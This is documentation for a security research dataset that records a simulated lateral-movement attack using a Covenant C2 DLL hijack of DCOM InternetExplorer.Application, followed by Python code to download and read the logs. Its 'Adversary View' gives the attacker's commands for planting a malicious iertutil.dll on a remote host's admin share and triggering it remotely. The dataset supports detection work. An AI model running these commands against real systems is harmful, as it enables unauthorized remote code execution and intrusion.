Covenant Remote DCOM Iertutil DLL Hijacking#

Metadata#

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/10/09

Modification Date

2020/10/09

Tactics

TA0008

Techniques

T1021.003

Tags

SMB CreateRequest

Dataset Description#

This dataset represents adversaries abusing a DLL hijack vulnerability found in the execution of the DCOM InternetExplorer.Application class for lateral movement.

Simulation Metadata#

Tools#

type

Name

Module

C2

Covenant

PowerShell

C2

Covenant

Copy

Adversary View#

Copy /source:"C:\ProgramData\test2.dll" /destination:"\\WORKSTATION6\C$\Program Files\Internet Explorer\iertutil.dll"

PowerShell /powershellcommand:"$i=[activator]::CreateInstance([type]::GetTypeFromProgID('InternetExplorer.Application','172.18.39.6'))"

Explore Datasets#

Download & Decompress Dataset#

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/lateral_movement/host/covenant_dcom_iertutil_dll_hijack.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File#

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events#

df.groupby(['Channel']).size().sort_values(ascending=False)